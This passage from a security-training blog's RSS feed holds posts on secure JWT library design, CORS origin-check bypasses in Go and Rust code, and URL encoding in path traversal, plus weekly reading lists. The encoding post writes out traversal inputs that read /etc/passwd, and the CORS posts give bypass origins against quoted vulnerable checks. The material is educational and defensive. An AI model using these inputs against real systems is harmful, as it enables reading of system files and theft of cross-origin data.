      <guid>https://pentesterlab.com/blog/leverage-pentesterlab-for-bug-bounty</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 50/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Another great week! Enjoy!</p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💎</span> The Ruby on Rails _json Juggling Attack</h5>
<p>Another fantastic article from <a href="https://x.com/lukejahnke" target="_blank">Luke</a> on <a href="https://nastystereo.com/security/rails-_json-juggling-attack.html" target="_blank">The Ruby on Rails _json Juggling Attack</a>. A must-read for Ruby on Rails enthusiasts!</p>



<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🍊</span> Unveiling Hidden Transformers in Windows ANSI [PDF]</h5>
<p>Don't miss out on the BlackHat Europe slides from DevCore <a href="https://worst.fit/assets/EU-24-Tsai-WorstFit-Unveiling-Hidden-Transformers-in-Windows-ANSI.pdf" target="_blank">Unveiling Hidden Transformers in Windows ANSI</a> and some new fun with Windows Unicode.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🌨️ </span> When Replicas Go Rogue - A Deep Dive into Cloudflared Replicas Exploitation Scenarios</h5>
<p><a href="https://y4nush.com/posts/when-replicas-go-rogue-a-deep-dive-into-cloudflared-replicas-exploitation-scenarios/">A deep-dive into Cloudflare Replicas with multiple attack scenarios</a>, well written and definitely worth a read if you are targeting applications leveraging Cloudflare.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔍</span> DOMPurify 3.2.1 Bypass (Non-Default Config)</h5>
<p>A great article on DOMPurify and how to leverage <a href="https://yaniv-git.github.io/2024/12/08/DOMPurify%203.2.1%20Bypass%20(Non-Default%20Config)/" target="_blank">namespace confusion using <code>is</code></a>.</p>



<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Mon, 16 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week50-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week50-2024</guid>
    </item>
    <item>
      <title>Reading Between the Lines: A Guide to Thoughtful Learning in Security</title>
      <description>
        <![CDATA[<p>My friend Luke recently published a great blog post titled: <a target="_blank" href="https://nastystereo.com/security/rails-_json-juggling-attack.html">The Ruby on Rails _json Juggling Attack</a>. Please make sure you read this article once before jumping to the next sentence.</p>

<p>This is the perfect example to apply something I talked about during my keynote <a target="_blank" href="https://www.youtube.com/watch?v=Ys66llx4PvA">A Journey To Mastery</a> at BSides Canberra.</p>

<p>During this talk, I covered how to consume content: blog posts, videos, news, tweets… Most people in the security industry will read Luke’s article and focus on its impact: you can add <code>_json</code> to an HTTP request to trigger unexpected behavior in Ruby on Rails applications. </p>

<p>This is usually the first step and what you may remember about the blog post. Unfortunately, (too) many people stop there: “Done, that was great! Let’s be productive and read the next article on my to-do list!” But we won’t stop there, as that’s the goal of this post.</p>

<h5 class="fw-bold my-3">What can I learn from this?</h5>

<p>The second step is to ask yourself: “What can I learn from this?” Read the article again now.</p>

<p>Quite a few things. First, this is something you can only discover by reading Ruby on Rails source code (unless you’re extremely lucky). Some quirks can only be found through code review, and that’s often how you reach the next level. You can’t always pentest or brute-force your way to cool bugs or unexpected behaviors. Sometimes, putting in the work is essential, and that often means reading the code of a big framework. It’s painful, but it’s the price to pay.</p>

<p>Secondly, you can learn how someone like Luke works. He uses Docker; he uses curl. He quickly creates small applications to test behavior and validate what he finds during his code reviews. This setup gives him a rapid feedback loop—if he notices something worth investigating, he can verify it quickly without relying on a browser, a proxy, or a big web application.</p>

<p>You can also learn how to quickly create a Rails application to do some basic testing. The Dockerfile code is worth studying. This small application in a container is entirely created using one Dockerfile. This can be easily skimmed by a hasty reader. But again, you would miss so much great information. It’s all in the little details.</p>

<h5 class="fw-bold my-3">What patterns can I apply to something else?</h5>

<p>Next step: What patterns can I apply to something else? Read the article again now.</p>

<p>There are a lot of patterns you can apply to other contexts.</p>

<p>First, frameworks and libraries may have special/magic keywords that are worth discovering. I can apply this to all my future reviews and look specifically for this pattern in my favorite framework.</p>

<p>Secondly, parameters available to developers are often in a specific order, which can vary based on the framework, the language, or even the configuration of the language’s engine (see <a href="https://www.php.net/manual/en/ini.core.php#ini.variables-order">PHP’s variables-order</a>). I can apply this pattern to my favorite language or framework.</p>

<p>Thirdly, the order of these parameters matters and is worth learning about. You might find in your next review that this introduces a vulnerability. See CVE-2022-31683 for a real example of this.</p>

<h5 class="fw-bold my-3">Why didn’t I find it?</h5>

<p>Next step: Why didn’t I find it?</p>

<p>Personally, I have a great excuse: Luke showed me this a while ago. But why might I have missed it otherwise? Maybe I don’t read enough code, or perhaps I didn’t focus on this type of issue. Time constraints could also be a factor. The real question, however, is: If I had reviewed the same code, would I have recognized the issue and understood its full impact? If not, why? What assumptions or limitations in my code review process might have caused me to miss this?</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>

<p>Hopefully, you enjoy this post. Worst case scenario: you’ll have read a great article on Ruby on Rails quirks a few times. Next time you read an article or blog post, ask yourself:</p>

<ul>
  <li>What can I learn from this?</li>
  <li>What patterns can I apply to something else?</li>
  <li>Why didn’t I find it?</li>
</ul>

<p>Next time you read an article, take an extra 5 minutes to reflect. It could uncover insights that others miss. You don’t have to do it for all articles, but spending a bit more time doing this will surely help you identify blind spots and find ways to improve.</p>

]]>
      </description>
      <pubDate>Thu, 12 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/reading-between-the-lines-security-learning</link>
      <guid>https://pentesterlab.com/blog/reading-between-the-lines-security-learning</guid>
    </item>
    <item>
      <title>How to Securely Design Your JWT Library</title>
      <description>
        <![CDATA[
<p>I've read the source code of many JWT libraries—some might say, too many. In doing so, I've seen patterns of both effective security practices and common pitfalls. JWT (JSON Web Token) is a widely used standard for securely transmitting information between parties, but the implementation details can make or break its security. Here's a guide on how to design a secure JWT library.</p>

<h5 class="fw-bold my-3">1. Disable the <code>None</code> Algorithm by Default</h5>

<p>One of the simplest but most crucial things you can do to secure your JWT library is to disable the <code>None</code> algorithm by default. Allowing users to specify <code>None</code> can lead to a situation where an attacker simply removes the signature and still gets the token validated as legitimate. The <code>None</code> algorithm effectively removes authenticity verification, which defeats the purpose of using JWTs in the first place.</p>

<h5 class="fw-bold my-3">2. Force Users to Pick an Algorithm</h5>

<p>Never make assumptions about the cryptographic algorithm that should be used. Do not trust the value coming from the JWT header. Force users to explicitly pick one (or multiple) algorithm(s) for signing and verifying tokens. This approach reduces the likelihood of a developer relying on insecure defaults and it also mitigates the risk of attacks like the <code>None</code> algorithm attack and algorithm confusion attacks. The algorithm can also be matched with the type of key used for added security (thanks for the feedback<a href="https://includesecurity.com/">Include Security</a>).</p>

<h5 class="fw-bold my-3">3. No Standalone Decode Method</h5>

<p>JWT tokens must be both decoded and validated. To make security the default, never offer a standalone decode method without validation. This can lead to scenarios where developers unintentionally use the JWT library insecurely by decoding tokens without verifying them. Always ensure that tokens are both validated and decoded together to prevent these vulnerabilities. If someone wants to bypass validation, they should have to go out of their way to do it: <b><i>Make Secure the Default and Insecure Obvious</i></b>.</p>

<h5 class="fw-bold my-3">4. Throw Exceptions on Validation Failures</h5>

<p>When validation fails, if your programming language supports it, throw an exception. Don't leave any ambiguity or silent failures. This is crucial because silently ignoring validation failures or relying on a return value being checked can lead developers to mistakenly trust malicious tokens, resulting in vulnerabilities.</p>

<h5 class="fw-bold my-3">5. Enforce Time-Based Claims By Default</h5>

<p>JWTs often include time-based claims such as <code>exp</code> (expiration), <code>nbf</code> (not before), and <code>iat</code> (issued at). These claims should be enforced by default. If a token has expired or is not yet valid, fail hard and fast. When generating a token, always include one of these claims; you don’t want to sign tokens that remain valid indefinitely.</p>

<h5 class="fw-bold my-3">6. Enforce Complexity for Secrets and Keys</h5>

<p>Tokens are only as secure as their signing keys. Enforce strong complexity requirements for secrets and keys used to sign JWTs. Using weak secrets (e.g., <code>secret</code> or <code>password</code>) makes tokens vulnerable to brute-force or dictionary attacks. Keep in mind that secrets used to sign tokens are susceptible to offline brute-force attacks using tools such as HashCat.</p>

<h5 class="fw-bold my-3">7. Use Built-in Cryptography</h5>

<p>Where possible, leverage the built-in cryptographic functionality provided by the programming language. This makes your code more portable and consistent with the ecosystem. If no built-in cryptographic functionality exists, use well-established libraries like OpenSSL or BouncyCastle. These libraries have been thoroughly vetted by the security community and will save you from implementing your own crypto, which is likely to result in significant security vulnerabilities.</p>

<h5 class="fw-bold my-3">8. Keep It Simple</h5>

<p>Complexity is often the enemy of security. Keep your JWT library as simple as possible. Avoid adding unnecessary features or clever shortcuts that might introduce vulnerabilities. Write simple, readable code that is easy to maintain and audit. Security often comes down to being able to trust that the code does exactly what it says—nothing more, nothing less.</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>


<p>Designing libraries is all about making secure practices easy and insecure practices difficult or impossible. By focusing on these core principles, you can create a library that serves developers well and protects the integrity of their applications. Security is a shared responsibility between library creators and users, but the more proactive you are about <b>setting secure defaults, and error-proofing your library</b>, the less likely it is that your library will be the source of vulnerabilities.</p>

<p>If you are interested in hands-on practice, explore our <a href="https://pentesterlab.com/exercises/tags/jwt">JWT Security Labs</a> to enhance your understanding of these principles in action.</p>


]]>
      </description>
      <pubDate>Tue, 10 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/secure-jwt-library-design</link>
      <guid>https://pentesterlab.com/blog/secure-jwt-library-design</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 49/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>


<div class="mb-0">
  <p>Busy week! It seems like everyone is wrapping up their research for the year and sharing it with the world! 🌟</p>
</div>
<div class="mb-5">

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛠️</span> Compromising OpenWrt Supply Chain via Truncated SHA-256 Collision and Command Injection</h5>
<p>If you can only read one article this week, make it this one! A well-written and highly detailed <a href="https://flatt.tech/research/posts/compromising-openwrt-supply-chain-sha256-collision/" target="_blank">walkthrough on a truncated collision to gain command execution</a>. Truly worth your time!</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔥</span> Remote Code Execution with Spring Boot 3.4.0 Properties</h5>
<p>From file write to RCE, again! After last week's article from Steven Seeley, Elliot Ward has published two new methods to achieve the same result in the article <a target="_blank" href="https://snyk.io/articles/remote-code-execution-with-spring-boot-3-4-0-properties/">Remote Code Execution with Spring Boot 3.4.0 Properties</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💎</span> Gem::SafeMarshal Escape</h5>
<p>Another fantastic article from <a href="https://x.com/lukejahnke" target="_blank">Luke</a> on <a href="https://nastystereo.com/security/ruby-safe-marshal-escape.html" target="_blank">Gem::SafeMarshal escape</a>. A must-read for Ruby enthusiasts!</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔍</span> CSPT the Eval Villain Way!</h5>
<p>A comprehensive walkthrough on how to use and leverage Eval Villain <a href="https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html" target="_blank">to discover and exploit Client-Side Path Traversal</a>. Don't miss it!</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🌟</span> Shiny Vulnerabilities in R's Most Popular Web Framework</h5>
<p>R code review, anyone? Check out this insightful article from Luke: <a href="https://nastystereo.com/security/r-shiny-bugs.html" target="_blank">Shiny Vulnerabilities in R's Most Popular Web Framework</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👾</span> XS-Leaks through Speculation Rules</h5>
<p>An excellent CTF write-up on <a href="https://satoooon1024.hatenablog.com/entry/2024/12/02/XS-Leaks_through_Speculation-Rules_-_SECCON_CTF_13_Author%27s_Writeup_%28_Tanuki_Udon_%29" target="_blank">leveraging speculation rules to exploit XS-Leaks</a>. A great read for enthusiasts!</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛡️</span> Bypassing WAFs with the Phantom $Version Cookie</h5>
<p>An intriguing article from PortSwigger Research on leveraging parsing differences in cookies to bypass WAFs: <a href="https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie" target="_blank">Bypassing WAFs with the phantom $Version cookie</a>.</p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 08 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week49-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week49-2024</guid>
    </item>
    <item>
      <title>Exploring CORS Vulnerabilities in Rust: Patterns and Bypasses</title>
      <description>
        <![CDATA[<p>After my recent article on <a href="/blog/golang-cors-vulnerabilities" target="_blank">CORS Vulnerabilities in Go: Vulnerable Patterns and Lessons</a>, I started exploring similar issues in Rust. Interestingly, the vulnerabilities are quite similar and easy to spot. Essentially, you only need to look for Rust equivalents of Go's <code>strings.Contains()</code>, <code>strings.HasSuffix()</code>, and <code>strings.HasPrefix()</code>. While I didn’t plan to dive into those common patterns here, I came across a unique strategy worth discussing.</p>

<h5 class="fw-bold my-3">Starts with...</h5>
<p>Just like in Go, we can find examples of vulnerable Rust code on GitHub with a few simple searches:</p>

<pre><code>fn set_default_cors(origin: &str, req: &mut Response<Body>) {
    if origin.starts_with("https://www.youtube.com")
        || origin.starts_with("https://youtube.com")
        || origin.starts_with("chrome-extension") {
     // ...
    }
}
</code></pre>

<p>This snippet checks if the origin starts with <code>https://youtube.com</code> or <code>https://www.youtube.com</code>. Unfortunately, this logic can be bypassed with URLs like <code>http://youtube.com.pentesterlab.com</code>, for example. <a href="https://github.com/Uriopass/Musidex/issues/2" target="_blank">I quickly reported it and it was quickly fixed</a>.</p> 

<h5 class="fw-bold my-3">Contains...</h5>
<p>Another example of a vulnerable check can be found in this snippet:</p>

<pre><code>if origin.contains("example.com") || origin.contains("localhost") {</code></pre>

<p>This only checks that the origin contains <code>example.com</code> or <code>localhost</code>. We can bypass this check using <code>example.com.pentesterlab.com</code>, for example.</p>

<p>It's pretty easy to find other examples like:</p>

<pre><code>origin.contains("127.0.0.1") || origin.contains("localhost")</code></pre>

<h5 class="fw-bold my-3">The Strategy That Caught My Interest</h5>
<p>This is the code that got me to write this blog post:</p>

<pre><code>pub fn self_pre_link(ctx: &Context) -> String {
    let host = ctx.header("Host");
    let origin = ctx.header("Origin");
    if origin.ends_with(&host) {
        return origin;
    }
}
</code></pre>

<p>We can see that the code retrieves the <code>Host</code> and <code>Origin</code> headers and checks if the <code>Origin</code> header ends with the <code>Host</code> header. This is an interesting strategy. Unfortunately, it can be easily bypassed. For example, if the website is hosted under <code>example.com</code>, an attacker can leverage the domain <code>hackingexample.com</code> to bypass the restriction.</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>
<p>These are another set of low-hanging fruits that you can easily discover in codebases on GitHub. Even Rust isn’t immune to these kinds of vulnerabilities.</p>

]]>
      </description>
      <pubDate>Thu, 05 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/rust-cors-vulnerabilities</link>
      <guid>https://pentesterlab.com/blog/rust-cors-vulnerabilities</guid>
    </item>
    <item>
      <title>CORS Vulnerabilities in Go: Vulnerable Patterns and Lessons</title>
      <description>
        <![CDATA[<p>If you read this blog regularly, you know that I like looking at CVE. I do that to create labs and security code review content for PentesterLab and for my <a href="/live-training/" target="_blank">Web Security Code Review Training</a>. This article covers my latest discoveries...</p>

<h5 class="fw-bold my-3">Play with docker...</h5>
<p>It all started with play with docker and <a href="https://github.com/play-with-docker/play-with-docker/security/advisories/GHSA-vq59-5x26-h639" target="_blank">CVE-2023-28109</a>. A classic example of vulnerable CORS policy. You can find a copy of the commit fixing the issue below (<a href="https://github.com/play-with-docker/play-with-docker/commit/ed82247c9ab7990ad76ec2bf1498c2b2830b6f1a" target="_blank">ed82247c9ab7990ad76ec2bf1498c2b2830b6f1a</a>): </p>

<pre><code>--- a/handlers/bootstrap.go
+++ b/handlers/bootstrap.go
@@ -70,10 +70,10 @@ func Register(extend HandlerExtender) {
 
        corsHandler := gh.CORS(gh.AllowCredentials(), gh.AllowedHeaders([]string{"x-requested-with", "content-type"}), gh.AllowedMethods([]string{"GET", "POST", "HEAD", "DELETE"}), gh.AllowedOriginValidator(func(origin string) bool {
                if strings.Contains(origin, "localhost") ||
-                       strings.HasSuffix(origin, "play-with-docker.com") ||
-                       strings.HasSuffix(origin, "play-with-kubernetes.com") ||
-                       strings.HasSuffix(origin, "docker.com") ||
-                       strings.HasSuffix(origin, "play-with-go.dev") {
+                       strings.HasSuffix(origin, ".play-with-docker.com") ||
+                       strings.HasSuffix(origin, ".play-with-kubernetes.com") ||
+                       strings.HasSuffix(origin, ".docker.com") ||
+                       strings.HasSuffix(origin, ".play-with-go.dev") {
                        return true
                }
                return false</code></pre>

<p>We can see that the vulnerable code allowed someone with a domain ending in <code>play-with-docker.com</code>, <code>play-with-kubernetes.com</code>, <code>docker.com</code>, or <code>play-with-go.dev</code> to bypass the security check. For example,  the domain <code>penetesterlab-docker.com</code> could be used since it ends with <code>docker.com</code>. This is a classic example of vulnerable CORS policy.</p>

<p>[As a side note, using <code>strings.HasSuffix(...)</code> and only validating the hostname or domain should be improved by also checking the scheme to enforce the use of TLS (e.g., forcing https instead of also allowing http).]</p>

<p><strong>BUT, wait a minute...</strong></p>
 
<p>Now if you look at the line before the vulnerable code, you may spot another issue that wasn't fixed: <code>strings.Contains(origin, "localhost") </code>. Basically, any domain that contains the string <code>localhost</code> can be used to bypass this check. For example, <code>localhost.pentesterlab.com</code> can be used.</p>

<p>That got me interested, and I decided to go down the rabbit hole...</p>


<h5 class="fw-bold my-3">Starts with...</h5>
<p>From there, I looked at a few more codebases on GitHub and found other examples of vulnerable code.</p>

<p>Another example of a vulnerable check can be found in this snippet:</p>
<pre><code>if strings.HasPrefix(origin, "http://localhost") {</code></pre>
<p>This only checks that the origin starts with <code>http://localhost</code>. We can bypass this check using <code>http://localhost.pentesterlab.com</code>, for example.</p>

<h5 class="fw-bold my-3">Contains...</h5>
<p>Another example of a vulnerable check can be found in this snippet:</p>
<pre><code>return strings.Contains(origin, "example.com")</code></pre>
<p>This only checks that the origin contains <code>example.com</code>. We can bypass this check using <code>example.com.pentesterlab.com</code>, for example.</p>

<h5 class="fw-bold my-3">My favorite one so far</h5>
<p>I really like this last one:</p>
<pre><code>config.AllowOriginFunc = func(origin string) bool {
  // get allowed origin domains from env
  originsFromEnv := os.Getenv("ALLOW_ORIGIN_DOMAINS")
  origins := []string{"localhost", "example.com", "127.0.0.1"}
  isAllowedThisOrigin := false

  origins = append(origins, strings.Split(originsFromEnv, ",")...)

  for _, allowedOrigin := range origins {
	  if strings.Contains(origin, allowedOrigin) {
		  isAllowedThisOrigin = true
		  break
	  }
  }

  return isAllowedThisOrigin
}</code></pre>

<p>We can see that the code allows a hardcoded list of origins <code>origins := []string{"localhost", "example.com", "127.0.0.1"}</code> as well as an environment variable <code>ALLOW_ORIGIN_DOMAINS</code>. The check is done using <code>strings.Contains(...)</code>, which is not secure as we saw before. We can bypass this check using <code>example.com.pentesterlab.com</code>, for example.</p>

<p>What makes this snippet my favorite is how the environment variable is handled... If the environment variable <code>ALLOW_ORIGIN_DOMAINS</code> is not set, <code>strings.Split(originsFromEnv, ",")</code> will return an empty string. The list of allowed origins <code>origins</code> will contain an empty string. When matching the origin <code>origin</code>, the code will check if <code>origin</code> contains an empty string, which will always return true, effectively allowing all origins.</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>
<p>I recently gave a talk on "What developers get for free," explaining how important it is to provide functions/methods at the language level to make developers' lives easier. One of my final points was that languages should provide a built-in way of checking if a hostname or an origin is part of a domain. I think this article highlights why...</p>

]]>
      </description>
      <pubDate>Mon, 02 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/golang-cors-vulnerabilities</link>
      <guid>https://pentesterlab.com/blog/golang-cors-vulnerabilities</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 48/2024</title>
      <description>
        <![CDATA[  <style>
   h5::after {
      display:none !important;
   }
   .tag-color {
      background-color: #448AB1;
   }
   h7 {
      font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
   }
   .topic-emoji {
      position: absolute;
      left:-32px;
   }
  </style>        
          <div>

<p class="mb-0">Only content from Australia and New Zealand this week! Is the rest of the world asleep?</p>
</div>
<div class="mb-5">


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💎 </span> Ruby 3.4 Universal RCE Deserialization Gadget Chain</h5>
<p>If you like Ruby as much as I do, you will love <a href="https://x.com/lukejahnke" target="_blank">Luke</a>'s post on <a href="https://nastystereo.com/security/ruby-3.4-deserialization.html" target="_blank">Ruby 3.4 Universal RCE Deserialization Gadget Chain</a>. Explore his improvements on the previous Ruby gadget.</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🪄 </span>Remote Code Execution with Spring Properties</h5>
<p>From File Write to RCE, <a href="https://x.com/steventseeley" target="_blank">Steven</a> guides us through this "tour-de-force" in this latest article: <a href="https://srcincite.io/blog/2024/11/25/remote-code-execution-with-spring-properties.html" target="_blank">Remote Code Execution with Spring Properties</a>.</p>

<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🌐 </span> Cross-Site POST Requests Without a Content-Type Header</h5>
<p>Another article from Luke: <a href="https://nastystereo.com/security/cross-site-post-without-content-type.html" target="_blank">Cross-Site POST Requests Without a Content-Type Header</a>. While you're at it, read the rest of the blog 😉</p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">👺 </span>Tales From The Crypt: Microsoft Unicode Collation Oddities Leading to Software Vulnerabilities</h5>
<p>I'm just going to share the first sentence of this article: "A goblin emoji and an empty string are the same thing, according to Microsoft SQL Server". That should be more than enough to pique your interest... <a href="https://pulsesecurity.co.nz/articles/mssql-unicode-collation-bugs" target="_blank">Tales From The Crypt: Microsoft Unicode Collation Oddities Leading to Software Vulnerabilities</a></p>


<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔐 </span>Windows - Data Protection API (DPAPI) Revisited</h5>
<p>A great article from <a href="https://x.com/claudiocontin" target="_blank">Claudio</a> who I met twice this year! Deep dive into the Data Protection API in this article <a href="https://tierzerosecurity.co.nz/2024/11/26/data-protection-windows-api-revisited.html" target="_blank">Windows - Data Protection API (DPAPI) Revisited</a>.</p>

<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->





<!--
<h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji"></span></h5>
<p><a href=""  target="_blank"></a>.</p>
-->




          </div>



]]>
      </description>
      <pubDate>Sun, 01 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week48-2024</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week48-2024</guid>
    </item>
    <item>
      <title>Encoding Is Not Magic</title>
      <description>
        <![CDATA[<p>When talking with aspiring hackers, bug bounty hunters, or application security engineers, it often feels that there’s some misunderstanding around <strong>encoding</strong>. Many seem to view it as a "magic wand" that can bypass filters and open the gates to exploitation—some kind of magical hacking fairy dust you sprinkle on your input to make the "hacking" work.</p>

<p><strong>Let’s be clear: Encoding is not magic.</strong></p>

<p>
    Encoding transforms data into a different representation, often for safe transport or storage.
    But for encoded data to be meaningful, <strong>something in the application stack must decode it</strong>.
    If you double-encode something, you need something to decode it twice—or two components to decode it once each. 
    Without decoding, encoding alone achieves nothing.
</p>

<h5 class="fw-bold my-3">Encoding Requires Decoding</h5>
<p>Your application or its underlying systems won’t magically interpret encoded data. Let’s take an example of path traversal: attempting to access sensitive files by encoding <code>../</code> into <code>%2e%2e%2f</code> (URL encoding).</p>

<h5 class="fw-bold my-3">What happens without decoding?</h5>
<p>You can try in your favorite language. If a value is kept encoded, it simply won't work:</p>

<ul>
  <li><strong>In PHP:</strong></li>
<pre><code>&lt;?php
echo file_get_contents('%2e%2e%2f%2e%2e%2fetc%2fpasswd');
?&gt;</code></pre>
    <p><strong>Output:</strong></p>
    <pre><code>Warning: file_get_contents(%2e%2e%2f%2e%2e%2fetc%2fpasswd): Failed to open stream: No such file or directory</code></pre>

  <li><strong>In Ruby:</strong></li>
<pre><code>irb(main):001:0> File.read('%2e%2e%2f%2e%2e%2fetc%2fpasswd')</code></pre>
    <p><strong>Output:</strong></p>
    <pre><code>Errno::ENOENT (No such file or directory @ rb_sysopen - %2e%2e%2f%2e%2e%2fetc%2fpasswd)</code></pre>

  <li><strong>In Python:</strong></li>
<pre><code>f = open("%2e%2e%2f%2e%2e%2fetc%2fpasswd", "r")</code></pre>
    <p><strong>Output:</strong></p>
    <pre><code>FileNotFoundError: [Errno 2] No such file or directory: '%2e%2e%2f%2e%2e%2fetc%2fpasswd'</code></pre>
</ul>
<p>Without something decoding the value, it doesn't work.</p>

<h5 class="fw-bold my-3">Decoding in Action</h5>
<p>Now, if something in the application stack is doing the decoding, we can see that it works:</p>

<pre><code>require 'cgi'
filename = '%2e%2e%2f%2e%2e%2fetc%2fpasswd'

filename = CGI.unescape(filename) # <- This decodes '%2e%2e%2f' into '../'

File.read(filename) # Now it works, if the system permits the access
</code></pre>

<p>The same applies to other types of encoding and decoding. Unicode bypasses work because something in the application stack is normalizing the value. <code class="code-alt">%bf%27</code> can become a single quote because it gets decoded and the charset isn't properly set. No magic—just code.</p>

<h5 class="fw-bold my-3">Final Thoughts</h5>
<p>
    Encoding isn’t a magic trick. It works because something, somewhere is doing the opposite operation (decoding), and the filtering doesn't handle this properly. 
    Understanding how applications decode data is key to both exploiting vulnerabilities and securing systems.
</p>

]]>
      </description>
      <pubDate>Sun, 01 Dec 2024 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/encoding-is-not-magic</link>
      <guid>https://pentesterlab.com/blog/encoding-is-not-magic</guid>
    </item>
    <item>
      <title>5 Essential Activities For Aspiring Web Hackers</title>
      <description>
        <![CDATA[<div>
  <p class="mb-0">Web hacking is a domain that rewards curiosity, persistence, and a hands-on approach to learning. To master the intricacies of web security, it's vital to immerse yourself in practical activities that challenge your technical and problem-solving skills. </p>

<p>Here are five essential activities that every aspiring web hacker should experience at least once:</p>
</div>

<h4 class="my-3 fw-bold">1. Read the Source Code of an HTTP Request Parser 🛠️</h4>
<p>Understanding how web applications handle HTTP requests at a low level is crucial for uncovering potential vulnerabilities. By reading the source code of an HTTP parser, you can gain a deep appreciation of how servers interpret incoming data—and how mistakes in this process can lead to security flaws.</p>

<p>A great starting point is the Tiny HTTP Parser used in <a href="https://github.com/EZLippi/Tinyhttpd/blob/master/httpd.c" target="_blank">TinyHTTPd</a>. It’s a concise, straightforward implementation that will help you understand the core mechanics of parsing HTTP requests. You may even find a few vulnerabilities in it... </p>

<p>Pay special attention to how the parser handles edge cases like malformed requests, path traversals, or oversized headers. Analyzing these nuances will sharpen your ability to identify potential security gaps in real-world applications.</p>

<h4 class="fw-bold my-3">2. Write a Small Web Application 🧑‍💻</h4>
<p>There’s no better way to understand how vulnerabilities arise than by building something yourself. To do that, it's important to build at least one simple application.</p><p> Try to develop a simple web application that includes key features such as:</p>
<ul>
  <li>🔑 User registration</li>
  <li>🔒 Authentication</li>
  <li>📁 File upload</li>
</ul>
<p>As you implement these features, you’ll encounter common challenges such as input validation, secure session management, and safe handling of user-uploaded files. This hands-on exercise will deepen your knowledge of common pitfalls and how to avoid them. You will learn what is hard to get right for developers, what shortcuts they may take and what mistakes they may make.</p>

<p>To push yourself further, intentionally introduce vulnerabilities like SQL injection or insecure file uploads, and then practice identifying and mitigating them.</p>

<h4 class="my-3 fw-bold">3. Read an RFC 📜</h4>
<p>Request for Comments (RFC) documents form the backbone of the internet’s standards and protocols. Reading an RFC not only enhances your understanding of how the web functions but also equips you with the knowledge to spot deviations from these standards.</p>
<p>Here are a few must-read RFCs to get you started:</p>
<ul>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc2616" target="_blank">RFC 2616</a>: HTTP/1.1 Specification</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc3986" target="_blank">RFC 3986</a>: URI Syntax</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc5246" target="_blank">RFC 5246</a>: TLS Protocol Version 1.2</li>
</ul>
<p>Don’t feel overwhelmed by the technical language—focus on understanding the key sections that relate to your interests. For example, if you’re investigating URL parsing bugs, RFC 3986 is a goldmine of insights.</p>

<h4 class="fw-bold my-3">4. Participate in a Capture The Flag (CTF) Competition 🏆</h4>
